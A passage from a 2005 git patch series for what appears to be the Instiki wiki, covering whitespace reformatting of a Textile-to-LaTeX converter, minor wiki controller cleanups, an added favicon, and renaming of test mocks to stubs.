      \n" ) - text.strip! - text - - end - - def pgl( text ) - GLYPHS.each do |re, resub| - text.gsub! re, resub - end - end - - def pba( text_in, element = "" ) - - return '' unless text_in - - style = [] - text = text_in.dup - if element == 'td' - colspan = $1 if text =~ /\\(\d+)/ - rowspan = $1 if text =~ /\/(\d+)/ - style << "vertical-align:#{ v_align( $& ) };" if text =~ A_VLGN - end - - style << "#{ $1 };" if not @filter_styles and - text.sub!( /\{([^}]*)\}/, '' ) - - lang = $1 if - text.sub!( /\[([^)]+?)\]/, '' ) - - cls = $1 if - text.sub!( /\(([^()]+?)\)/, '' ) - - style << "padding-left:#{ $1.length }em;" if - text.sub!( /([(]+)/, '' ) - - style << "padding-right:#{ $1.length }em;" if text.sub!( /([)]+)/, '' ) - - style << "text-align:#{ h_align( $& ) };" if text =~ A_HLGN - - cls, id = $1, $2 if cls =~ /^(.*?)#(.*)$/ - - atts = '' - atts << " style=\"#{ style.join }\"" unless style.empty? - atts << " class=\"#{ cls }\"" unless cls.to_s.empty? - atts << " lang=\"#{ lang }\"" if lang - atts << " id=\"#{ id }\"" if id - atts << " colspan=\"#{ colspan }\"" if colspan - atts << " rowspan=\"#{ rowspan }\"" if rowspan - - atts - end - - def table( text ) - text << "\n\n" - text.gsub!( /^(?:table(_?#{S}#{A}#{C})\. ?\n)?^(#{A}#{C}\.? ?\|.*?\|)\n\n/m ) do |matches| - - tatts, fullrow = $~[1..2] - tatts = pba( tatts, 'table' ) - rows = [] - - fullrow. - split( /\|$/m ). - delete_if { |x| x.empty? }. - each do |row| - - ratts, row = pba( $1, 'tr' ), $2 if row =~ /^(#{A}#{C}\. )(.*)/m - - cells = [] - row.split( '|' ).each do |cell| - ctyp = 'd' - ctyp = 'h' if cell =~ /^_/ - - catts = '' - catts, cell = pba( $1, 'td' ), $2 if cell =~ /^(_?#{S}#{A}#{C}\. )(.*)/ - - unless cell.strip.empty? - cells << "\t\t\t#{ cell }" - end - end - rows << "\t\t\n#{ cells.join( "\n" ) }\n\t\t" - end - "\t\n#{ rows.join( "\n" ) }\n\t\n\n" - end - end - - def lists( text ) - text.gsub!( /^([#*]+?#{C} .*?)$(?![^#*])/m ) do |match| - lines = match.split( /\n/ ) - last_line = -1 - depth = [] - lines.each_with_index do |line, line_id| - if line =~ /^([#*]+)(#{A}#{C}) (.*)$/m - tl,atts,content = $~[1..3] - if depth.last - if depth.last.length > tl.length - (depth.length - 1).downto(0) do |i| - break if depth[i].length == tl.length - lines[line_id - 1] << "\n\t\\end{#{ lT( depth[i] ) }}\n\t" - depth.pop - end - end - if !depth.last.nil? && !tl.length.nil? && depth.last.length == tl.length - lines[line_id - 1] << '' - end - end - unless depth.last == tl - depth << tl - atts = pba( atts ) - lines[line_id] = "\t\\begin{#{ lT(tl) }}\n\t\\item #{ content }" - else - lines[line_id] = "\t\t\\item #{ content }" - end - last_line = line_id - - elsif line =~ /^\s+\S/ - last_line = line_id - elsif line_id - last_line < 2 and line =~ /^\S/ - last_line = line_id - end - if line_id - last_line > 1 or line_id == lines.length - 1 - depth.delete_if do |v| - lines[last_line] << "\n\t\\end{#{ lT( v ) }}" - end - end - end - lines.join( "\n" ) - end - end - - def lT( text ) - text =~ /\#$/ ? 'enumerate' : 'itemize' - end - - def fold( text ) - text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) - # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
      ' }" ) - end - - def block( text ) - pre = false - find = ['bq','h[1-6]','fn\d+'] + end + + def lT( text ) + text =~ /\#$/ ? 'enumerate' : 'itemize' + end + + def fold( text ) + text.gsub!( /(.+)\n(?![#*\s|])/, "\\1\\\\\\\\" ) + # text.gsub!( /(.+)\n(?![#*\s|])/, "\\1#{ @fold_lines ? ' ' : '
      ' }" ) + end + + def block( text ) + pre = false + find = ['bq','h[1-6]','fn\d+'] - regexp_cue = [] + regexp_cue = [] - lines = text.split( /\n/ ) + [' '] - new_text = - lines.collect do |line| - pre = true if line =~ /<(pre|notextile)>/i - find.each do |tag| - line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| - tag,atts,cite,content = $~[1..4] - - atts = pba( atts ) - - if tag =~ /fn(\d+)/ - # tag = 'p'; - # atts << " id=\"fn#{ $1 }\"" - regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] - content = "" - end - - if tag =~ /h([1-6])/ - section_type = "sub" * [$1.to_i - 1, 2].min - start = "\t\\#{section_type}section*{" - tend = "}" - end - - if tag == "bq" - cite = check_refs( cite ) - cite = " cite=\"#{ cite }\"" if cite - start = "\t\\begin{quotation}\n\\noindent {\\em "; - tend = "}\n\t\\end{quotation}"; - end - + lines = text.split( /\n/ ) + [' '] + new_text = + lines.collect do |line| + pre = true if line =~ /<(pre|notextile)>/i + find.each do |tag| + line.gsub!( /^(#{ tag })(#{A}#{C})\.(?::(\S+))? (.*)$/ ) do |m| + tag,atts,cite,content = $~[1..4] + + atts = pba( atts ) + + if tag =~ /fn(\d+)/ + # tag = 'p'; + # atts << " id=\"fn#{ $1 }\"" + regexp_cue << [ /footnote\{#{$1}}/, "footnote{#{content}}" ] + content = "" + end + + if tag =~ /h([1-6])/ + section_type = "sub" * [$1.to_i - 1, 2].min + start = "\t\\#{section_type}section*{" + tend = "}" + end + + if tag == "bq" + cite = check_refs( cite ) + cite = " cite=\"#{ cite }\"" if cite + start = "\t\\begin{quotation}\n\\noindent {\\em "; + tend = "}\n\t\\end{quotation}"; + end + "#{ start }#{ content }#{ tend }" - end unless pre - end - - #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

      \\1

      " ) - - #line.gsub!( "
      ", "\n" ) if pre - # pre = false if line =~ /<\/(pre|notextile)>/i - - line - end.join( "\n" ) - text.replace( new_text ) - regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } + end unless pre + end + + #line.gsub!( /^(?!\t|<\/?pre|<\/?notextile|<\/?code|$| )(.*)/, "\t

      \\1

      " ) + + #line.gsub!( "
      ", "\n" ) if pre + # pre = false if line =~ /<\/(pre|notextile)>/i + + line + end.join( "\n" ) + text.replace( new_text ) + regexp_cue.each { |pair| text.gsub!(pair.first, pair.last) } end def span( text ) - QTAGS.each do |tt, ht| - ttr = Regexp::quote( tt ) - text.gsub!( - - /(^|\s|\>|[#{PUNCT}{(\[]) - #{ttr} - (#{C}) - (?::(\S+?))? - ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) - ([#{PUNCT}]*?) - #{ttr} - (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm - - ) do |m| - - start,atts,cite,content,tend = $~[1..5] - atts = pba( atts ) - atts << " cite=\"#{ cite }\"" if cite - + QTAGS.each do |tt, ht| + ttr = Regexp::quote( tt ) + text.gsub!( + + /(^|\s|\>|[#{PUNCT}{(\[]) + #{ttr} + (#{C}) + (?::(\S+?))? + ([^\s#{ttr}]+?(?:[^\n]|\n(?!\n))*?) + ([#{PUNCT}]*?) + #{ttr} + (?=[\])}]|[#{PUNCT}]+?|<|\s|$)/xm + + ) do |m| + + start,atts,cite,content,tend = $~[1..5] + atts = pba( atts ) + atts << " cite=\"#{ cite }\"" if cite + "#{ start }{\\#{ ht } #{ content }#{ tend }}" - - end - end + + end end - - def links( text ) - text.gsub!( / - ([\s\[{(]|[#{PUNCT}])? # $pre + end + + def links( text ) + text.gsub!( / + ([\s\[{(]|[#{PUNCT}])? # $pre " # start (#{C}) # $atts ([^"]+?) # $text - \s? - (?:\(([^)]+?)\)(?="))? # $title + \s? + (?:\(([^)]+?)\)(?="))? # $title ": - (\S+?) # $url - (\/)? # $slash - ([^\w\/;]*?) # $post - (?=\s|$) - /x ) do |m| - pre,atts,text,title,url,slash,post = $~[1..7] - - url = check_refs( url ) - - atts = pba( atts ) - atts << " title=\"#{ title }\"" if title - atts = shelve( atts ) if atts - + (\S+?) # $url + (\/)? # $slash + ([^\w\/;]*?) # $post + (?=\s|$) + /x ) do |m| + pre,atts,text,title,url,slash,post = $~[1..7] + + url = check_refs( url ) + + atts = pba( atts ) + atts << " title=\"#{ title }\"" if title + atts = shelve( atts ) if atts + "#{ pre }#{ text }#{ post }" - end + end end - + def get_refs( text ) - text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| - flag, url = $~[1..2] - @urlrefs[flag] = url - end + text.gsub!( /(^|\s)\[(.+?)\]((?:http:\/\/|javascript:|ftp:\/\/|\/)\S+?)(?=\s|$)/ ) do |m| + flag, url = $~[1..2] + @urlrefs[flag] = url + end end def check_refs( text ) - @urlrefs[text] || text + @urlrefs[text] || text end - + def image( text ) - text.gsub!( / - \! # opening - (\<|\=|\>)? # optional alignment atts - (#{C}) # optional style,class atts - (?:\. )? # optional dot-space - ([^\s(!]+?) # presume this is the src - \s? # optional space - (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title - \! # closing - (?::#{ HYPERLINK })? # optional href - /x ) do |m| - algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] - atts = pba( atts ) - atts << " align=\"#{ i_align( algn ) }\"" if algn - atts << " title=\"#{ title }\"" if title - atts << " alt=\"#{ title }\"" - # size = @getimagesize($url); - # if($size) $atts.= " $size[3]"; - - href = check_refs( href ) if href - url = check_refs( url ) - - out = '' - out << "" if href - out << "" - out << "#{ href_a1 }#{ href_a2 }" if href - - out - end + text.gsub!( / + \! # opening + (\<|\=|\>)? # optional alignment atts + (#{C}) # optional style,class atts + (?:\. )? # optional dot-space + ([^\s(!]+?) # presume this is the src + \s? # optional space + (?:\(((?:[^\(\)]|\([^\)]+\))+?)\))? # optional title + \! # closing + (?::#{ HYPERLINK })? # optional href + /x ) do |m| + algn,atts,url,title,href,href_a1,href_a2 = $~[1..7] + atts = pba( atts ) + atts << " align=\"#{ i_align( algn ) }\"" if algn + atts << " title=\"#{ title }\"" if title + atts << " alt=\"#{ title }\"" + # size = @getimagesize($url); + # if($size) $atts.= " $size[3]"; + + href = check_refs( href ) if href + url = check_refs( url ) + + out = '' + out << "" if href + out << "" + out << "#{ href_a1 }#{ href_a2 }" if href + + out + end end - + def code( text ) - text.gsub!( / - (?:^|([\s\(\[{])) # 1 open bracket? - @ # opening - (?:\|(\w+?)\|)? # 2 language - (\S(?:[^\n]|\n(?!\n))*?) # 3 code - @ # closing - (?:$|([\]})])| - (?=[#{PUNCT}]{1,2}| - \s)) # 4 closing bracket? - /x ) do |m| - before,lang,code,after = $~[1..4] - lang = " language=\"#{ lang }\"" if lang + text.gsub!( / + (?:^|([\s\(\[{])) # 1 open bracket? + @ # opening + (?:\|(\w+?)\|)? # 2 language + (\S(?:[^\n]|\n(?!\n))*?) # 3 code + @ # closing + (?:$|([\]})])| + (?=[#{PUNCT}]{1,2}| + \s)) # 4 closing bracket? + /x ) do |m| + before,lang,code,after = $~[1..4] + lang = " language=\"#{ lang }\"" if lang "#{ before }#{ code }
      #{ after }" - end + end end - + def shelve( val ) - @shelf << val + @shelf << val " <#{ @shelf.length }>" end def retrieve( text ) - @shelf.each_with_index do |r, i| - text.gsub!( " <#{ i + 1 }>", r ) - end + @shelf.each_with_index do |r, i| + text.gsub!( " <#{ i + 1 }>", r ) + end end - + def incoming_entities( text ) - ## turn any incoming ampersands into a dummy character for now. - ## This uses a negative lookahead for alphanumerics followed by a semicolon, - ## implying an incoming html entity, to be skipped - - text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) + ## turn any incoming ampersands into a dummy character for now. + ## This uses a negative lookahead for alphanumerics followed by a semicolon, + ## implying an incoming html entity, to be skipped + + text.gsub!( /&(?![#a-z0-9]+;)/i, "x%x%" ) end - + def encode_entities( text ) - ## Convert high and low ascii to entities. - # if $-K == "UTF-8" - # encode_high( text ) - # else - text.texesc!( :NoQuotes ) - # end + ## Convert high and low ascii to entities. + # if $-K == "UTF-8" + # encode_high( text ) + # else + text.texesc!( :NoQuotes ) + # end end - + def fix_entities( text ) - ## de-entify any remaining angle brackets or ampersands - text.gsub!( "\&", "&" ) - text.gsub!( "\%", "%" ) + ## de-entify any remaining angle brackets or ampersands + text.gsub!( "\&", "&" ) + text.gsub!( "\%", "%" ) end - + def clean_white_space( text ) - text.gsub!( /\r\n/, "\n" ) - text.gsub!( /\t/, '' ) - text.gsub!( /\n{3,}/, "\n\n" ) - text.gsub!( /\n *\n/, "\n\n" ) - text.gsub!( /"$/, "\" " ) + text.gsub!( /\r\n/, "\n" ) + text.gsub!( /\t/, '' ) + text.gsub!( /\n{3,}/, "\n\n" ) + text.gsub!( /\n *\n/, "\n\n" ) + text.gsub!( /"$/, "\" " ) end - + def no_textile( text ) - text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, + text.gsub!( /(^|\s)==(.*?)==(\s|$)?/, '\1\2\3' ) end - + def footnote_ref( text ) - text.gsub!( /\[([0-9]+?)\](\s)?/, + text.gsub!( /\[([0-9]+?)\](\s)?/, '\footnote{\1}\2') - #'\1\2' ) + #'\1\2' ) end def inline( text ) - image text - links text - code text - span text + image text + links text + code text + span text end - + def glyphs_deep( text ) - codepre = 0 - offtags = /(?:code|pre|kbd|notextile)/ - if text !~ /<.*>/ - # pgl text - footnote_ref text - else - used_offtags = {} - text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line| - tagline = ( line =~ /^<.*>/ ) - - ## matches are off if we're between ,
       etc.
      -                if tagline
      -                    if line =~ /<(#{ offtags })>/i
      -                        codepre += 1
      -                        used_offtags[$1] = true
      -                        line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      -                    elsif line =~ /<\/(#{ offtags })>/i
      -                        line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      -                        codepre -= 1 unless codepre.zero?
      -                        used_offtags = {} if codepre.zero?
      -                    elsif @filter_html or codepre > 0
      -                        line.texesc!( :NoQuotes )
      -                        ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      -                    end 
      -                ## do htmlspecial if between 
      -                elsif codepre > 0
      -                    line.texesc!( :NoQuotes )
      -                    ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      -                elsif not tagline
      -                    inline line
      -                    glyphs_deep line
      -                end
      -
      -                line
      -            end
      +      codepre = 0
      +      offtags = /(?:code|pre|kbd|notextile)/
      +      if text !~ /<.*>/
      +        # pgl text
      +        footnote_ref text
      +      else
      +        used_offtags = {}
      +        text.gsub!( /(?:[^<].*?(?=<[^\n]*?>|$)|<[^\n]*?>+)/m ) do |line|
      +          tagline = ( line =~ /^<.*>/ )
      +          
      +          ## matches are off if we're between , 
       etc.
      +          if tagline
      +            if line =~ /<(#{ offtags })>/i
      +              codepre += 1
      +              used_offtags[$1] = true
      +              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      +            elsif line =~ /<\/(#{ offtags })>/i
      +              line.texesc!( :NoQuotes ) if codepre - used_offtags.length > 0
      +              codepre -= 1 unless codepre.zero?
      +              used_offtags = {} if codepre.zero?
      +            elsif @filter_html or codepre > 0
      +              line.texesc!( :NoQuotes )
      +              ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      +            end 
      +            ## do htmlspecial if between 
      +          elsif codepre > 0
      +            line.texesc!( :NoQuotes )
      +            ## line.gsub!( /<(\/?#{ offtags })>/, '<\1>' )
      +          elsif not tagline
      +            inline line
      +            glyphs_deep line
      +          end
      +          
      +          line
               end
      +      end
           end
      -
      +    
           def glyphs( text ) 
      -        text.gsub!( /"\z/, "\" " )
      -        ## if no html, do a simple search and replace...
      -        if text !~ /<.*>/
      -            inline text
      -        end
      -        glyphs_deep text
      +      text.gsub!( /"\z/, "\" " )
      +      ## if no html, do a simple search and replace...
      +      if text !~ /<.*>/
      +        inline text
      +      end
      +      glyphs_deep text
           end
      -
      +    
           def i_align( text )
      -        I_ALGN_VALS[text]
      +      I_ALGN_VALS[text]
           end
      -
      +    
           def h_align( text ) 
      -        H_ALGN_VALS[text]
      +      H_ALGN_VALS[text]
           end
      -
      +    
           def v_align( text ) 
      -        V_ALGN_VALS[text]
      +      V_ALGN_VALS[text]
           end
      -
      +    
           def encode_high( text )
      -        ## mb_encode_numericentity($text, $cmap, $charset);
      +      ## mb_encode_numericentity($text, $cmap, $charset);
           end
      -
      +    
           def decode_high( text )
      -        ## mb_decode_numericentity($text, $cmap, $charset);
      +      ## mb_decode_numericentity($text, $cmap, $charset);
           end
      -
      +    
           def textile_popup_help( name, helpvar, windowW, windowH )
               ' ' + name + '
      ' end - + CMAP = [ - 160, 255, 0, 0xffff, - 402, 402, 0, 0xffff, - 913, 929, 0, 0xffff, - 931, 937, 0, 0xffff, - 945, 969, 0, 0xffff, - 977, 978, 0, 0xffff, - 982, 982, 0, 0xffff, - 8226, 8226, 0, 0xffff, - 8230, 8230, 0, 0xffff, - 8242, 8243, 0, 0xffff, - 8254, 8254, 0, 0xffff, - 8260, 8260, 0, 0xffff, - 8465, 8465, 0, 0xffff, - 8472, 8472, 0, 0xffff, - 8476, 8476, 0, 0xffff, - 8482, 8482, 0, 0xffff, - 8501, 8501, 0, 0xffff, - 8592, 8596, 0, 0xffff, - 8629, 8629, 0, 0xffff, - 8656, 8660, 0, 0xffff, - 8704, 8704, 0, 0xffff, - 8706, 8707, 0, 0xffff, - 8709, 8709, 0, 0xffff, - 8711, 8713, 0, 0xffff, - 8715, 8715, 0, 0xffff, - 8719, 8719, 0, 0xffff, - 8721, 8722, 0, 0xffff, - 8727, 8727, 0, 0xffff, - 8730, 8730, 0, 0xffff, - 8733, 8734, 0, 0xffff, - 8736, 8736, 0, 0xffff, - 8743, 8747, 0, 0xffff, - 8756, 8756, 0, 0xffff, - 8764, 8764, 0, 0xffff, - 8773, 8773, 0, 0xffff, - 8776, 8776, 0, 0xffff, - 8800, 8801, 0, 0xffff, - 8804, 8805, 0, 0xffff, - 8834, 8836, 0, 0xffff, - 8838, 8839, 0, 0xffff, - 8853, 8853, 0, 0xffff, - 8855, 8855, 0, 0xffff, - 8869, 8869, 0, 0xffff, - 8901, 8901, 0, 0xffff, - 8968, 8971, 0, 0xffff, - 9001, 9002, 0, 0xffff, - 9674, 9674, 0, 0xffff, - 9824, 9824, 0, 0xffff, - 9827, 9827, 0, 0xffff, - 9829, 9830, 0, 0xffff, - 338, 339, 0, 0xffff, - 352, 353, 0, 0xffff, - 376, 376, 0, 0xffff, - 710, 710, 0, 0xffff, - 732, 732, 0, 0xffff, - 8194, 8195, 0, 0xffff, - 8201, 8201, 0, 0xffff, - 8204, 8207, 0, 0xffff, - 8211, 8212, 0, 0xffff, - 8216, 8218, 0, 0xffff, - 8218, 8218, 0, 0xffff, - 8220, 8222, 0, 0xffff, - 8224, 8225, 0, 0xffff, - 8240, 8240, 0, 0xffff, - 8249, 8250, 0, 0xffff, - 8364, 8364, 0, 0xffff - ] -end - + 160, 255, 0, 0xffff, + 402, 402, 0, 0xffff, + 913, 929, 0, 0xffff, + 931, 937, 0, 0xffff, + 945, 969, 0, 0xffff, + 977, 978, 0, 0xffff, + 982, 982, 0, 0xffff, + 8226, 8226, 0, 0xffff, + 8230, 8230, 0, 0xffff, + 8242, 8243, 0, 0xffff, + 8254, 8254, 0, 0xffff, + 8260, 8260, 0, 0xffff, + 8465, 8465, 0, 0xffff, + 8472, 8472, 0, 0xffff, + 8476, 8476, 0, 0xffff, + 8482, 8482, 0, 0xffff, + 8501, 8501, 0, 0xffff, + 8592, 8596, 0, 0xffff, + 8629, 8629, 0, 0xffff, + 8656, 8660, 0, 0xffff, + 8704, 8704, 0, 0xffff, + 8706, 8707, 0, 0xffff, + 8709, 8709, 0, 0xffff, + 8711, 8713, 0, 0xffff, + 8715, 8715, 0, 0xffff, + 8719, 8719, 0, 0xffff, + 8721, 8722, 0, 0xffff, + 8727, 8727, 0, 0xffff, + 8730, 8730, 0, 0xffff, + 8733, 8734, 0, 0xffff, + 8736, 8736, 0, 0xffff, + 8743, 8747, 0, 0xffff, + 8756, 8756, 0, 0xffff, + 8764, 8764, 0, 0xffff, + 8773, 8773, 0, 0xffff, + 8776, 8776, 0, 0xffff, + 8800, 8801, 0, 0xffff, + 8804, 8805, 0, 0xffff, + 8834, 8836, 0, 0xffff, + 8838, 8839, 0, 0xffff, + 8853, 8853, 0, 0xffff, + 8855, 8855, 0, 0xffff, + 8869, 8869, 0, 0xffff, + 8901, 8901, 0, 0xffff, + 8968, 8971, 0, 0xffff, + 9001, 9002, 0, 0xffff, + 9674, 9674, 0, 0xffff, + 9824, 9824, 0, 0xffff, + 9827, 9827, 0, 0xffff, + 9829, 9830, 0, 0xffff, + 338, 339, 0, 0xffff, + 352, 353, 0, 0xffff, + 376, 376, 0, 0xffff, + 710, 710, 0, 0xffff, + 732, 732, 0, 0xffff, + 8194, 8195, 0, 0xffff, + 8201, 8201, 0, 0xffff, + 8204, 8207, 0, 0xffff, + 8211, 8212, 0, 0xffff, + 8216, 8218, 0, 0xffff, + 8218, 8218, 0, 0xffff, + 8220, 8222, 0, 0xffff, + 8224, 8225, 0, 0xffff, + 8240, 8240, 0, 0xffff, + 8249, 8250, 0, 0xffff, + 8364, 8364, 0, 0xffff + ] + end From dcf1030aaad22cc5e4db4e276a1cc869b44d5532 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 19:37:34 +0000 Subject: [PATCH 014/529] Removed an obsoleted method and changed some comments --- app/controllers/wiki_controller.rb | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index e2bdf5ed..54b1796a 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -57,7 +57,7 @@ class WikiController < ApplicationController end def login - # go straight to template + # to template end def web_list @@ -176,7 +176,7 @@ class WikiController < ApplicationController end def new - # go straight to template, all necessary variables are already set in the filter + # to template end def pdf @@ -278,9 +278,9 @@ class WikiController < ApplicationController def export_page_to_tex(file_path) tex - File.open(file_path, 'w') { |f| f.write(template_engine("tex").result(binding)) } + File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex')) } end - + def export_pages_as_zip(file_type, &block) file_prefix = "#{@web.address}-#{file_type}-" @@ -392,13 +392,6 @@ class WikiController < ApplicationController @template.render_file(template_name) end - # Returns an array with each of the parts in the request as an element. So /something/cool/dude - # returns ["something", "cool", "dude"] - def request_path - request_path_parts = @request.path.to_s.split(/\//) - request_path_parts.length > 1 ? request_path_parts[1..-1] : [] - end - def template_engine(template_name) ERB.new(IO.readlines(RAILS_ROOT + '/app/views/wiki/' + template_name + '.rhtml').join) end From 9b30ec0811c4423e95441e039f4b8d74d683c8ed Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 20:02:35 +0000 Subject: [PATCH 015/529] Rails icon as Instiki favicon (pending nextangle's confirmation on this one) --- public/favicon.ico | Bin 0 -> 4710 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 public/favicon.ico diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..e61366585aa57740c9ca3d84a74e84be8f8bf3cb GIT binary patch literal 4710 zcmeHKA#WQo6n^LA*6Y%xIW%ct3#_=+D^TvygWaDpP%h_&(WeA?s+e{maV+0KG43`0fUjz~<)b}P%QRk>^R5$)m=b3K#b$IX2Cu)$vmaBr|6(lX^ULgXJdsDk?{xCvoOYjoqUpt44F}&;fA5RR z^PB^wH=uSNwzFbBeoj31bwxS@IYCx!Om|;Qy-A->v^!tubMYKHoW+&k^r5NuWaF&! z^_Ad^x8p)P3pgD2w#7a>TjVsqv}|+>iXUs(s#$Vb{*kQf|ul+sv2R%}}N&o-= literal 0 HcmV?d00001 From f559a17ba401df9bec27648bbc115fbecd74165b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 21:49:27 +0000 Subject: [PATCH 016/529] Renamed "mocks" to "stubs", cause these things are stubs, not mocks. --- test/unit/revision_test.rb | 56 +++++++++++++++++++------------------- 1 file changed, 28 insertions(+), 28 deletions(-) diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index e8bf59dc..d46f6b55 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -2,30 +2,30 @@ require "web" require "test/unit" require "revision" -class MockWeb < Web; +class WebStub < Web; attr_accessor :markup - def pages() MockPages.new end + def pages() PagesStub.new end def safe_mode() false end end -class MockPages +class PagesStub def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end end -class MockPage +class PageStub attr_accessor :web, :revisions - def name() "page" end + def name() 'page' end end class RevisionTest < Test::Unit::TestCase def setup - @mock_page = MockPage.new - @mock_web = MockWeb.new - @mock_page.web = @mock_web + @page = PageStub.new + @web = WebStub.new + @page.web = @web - @mock_web.markup = :textile + @web.markup = :textile @revision = Revision.new( - @mock_page, + @page, 1, "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", Time.local(2004, 4, 4, 16, 50), @@ -33,7 +33,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_auto_links = Revision.new( - @mock_page, + @page, 1, "http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com", Time.local(2004, 4, 4, 16, 50), @@ -41,7 +41,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_aliased_links = Revision.new( - @mock_page, + @page, 1, "Would a [[SmartEngine|clever motor]] go by any other name?", Time.local(2004, 4, 4, 16, 50), @@ -49,7 +49,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_wiki_word_in_em = Revision.new( - @mock_page, + @page, 1, "_should we go ThatWay or ThisWay _", Time.local(2004, 4, 4, 16, 50), @@ -57,7 +57,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_pre_blocks = Revision.new( - @mock_page, + @page, 1, "A class SmartEngine end would not mark up
      CodeBlocks
      ", Time.local(2004, 4, 4, 16, 50), @@ -65,7 +65,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_wikiword_in_tag = Revision.new( - @mock_page, + @page, 1, "That is some Stylish Emphasis", Time.local(2004, 4, 4, 16, 50), @@ -73,7 +73,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_autolink_in_parentheses = Revision.new( - @mock_page, + @page, 1, 'The W3C body (http://www.w3c.org) sets web standards', Time.local(2004, 4, 4, 16, 50), @@ -81,7 +81,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_link_in_parentheses = Revision.new( - @mock_page, + @page, 1, 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup', Time.local(2004, 4, 4, 16, 50), @@ -89,7 +89,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_image_link = Revision.new( - @mock_page, + @page, 1, 'This !http://hobix.com/sample.jpg! is a Textile image link.', Time.local(2004, 4, 4, 16, 50), @@ -97,7 +97,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_nowiki_text = Revision.new( - @mock_page, + @page, 1, 'Do not mark up [[this text]] or http://www.thislink.com.', Time.local(2004, 4, 4, 16, 50), @@ -105,7 +105,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_bracketted_wiki_word = Revision.new( - @mock_page, + @page, 1, 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].', Time.local(2004, 4, 4, 16, 50), @@ -131,10 +131,10 @@ class RevisionTest < Test::Unit::TestCase end def test_bluecloth - @mock_web.markup = :markdown + @web.markup = :markdown @revision = Revision.new( - @mock_page, + @page, 1, "My Headline\n===========\n\n that SmartEngineGUI", Time.local(2004, 4, 4, 16, 50), @@ -142,7 +142,7 @@ class RevisionTest < Test::Unit::TestCase ) @revision_with_code_block = Revision.new( - @mock_page, + @page, 1, [ 'This is a code block:', '', @@ -164,10 +164,10 @@ class RevisionTest < Test::Unit::TestCase end def test_rdoc - @mock_web.markup = :rdoc + @web.markup = :rdoc @revision = Revision.new( - @mock_page, + @page, 1, "+hello+ that SmartEngineGUI", Time.local(2004, 4, 4, 16, 50), @@ -214,7 +214,7 @@ class RevisionTest < Test::Unit::TestCase end def test_content_with_bracketted_wiki_word - @mock_web.brackets_only = true + @web.brackets_only = true assert_equal '

      This is a WikiWord and a tricky name Sperberg-McQueen?.

      ', @revision_with_bracketted_wiki_word.display_content end @@ -247,8 +247,8 @@ class RevisionTest < Test::Unit::TestCase end def test_revisions_diff - page = MockPage.new - web = MockWeb.new + page = PageStub.new + web = WebStub.new web.markup = :textile page.web = web From 042391bfffff7484d9069fed627eec7404e0b22c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 16 Jan 2005 22:16:24 +0000 Subject: [PATCH 017/529] Reformatted all the very long strings to fit 100 columns --- test/unit/revision_test.rb | 219 +++++++++++++++++-------------------- 1 file changed, 102 insertions(+), 117 deletions(-) diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index d46f6b55..fb21b471 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -24,94 +24,52 @@ class RevisionTest < Test::Unit::TestCase @web.markup = :textile - @revision = Revision.new( - @page, - 1, - "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", - Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson" - ) + @revision = Revision.new(@page, 1, + 'HisWay would be MyWay in kinda ThatWay in HisWay 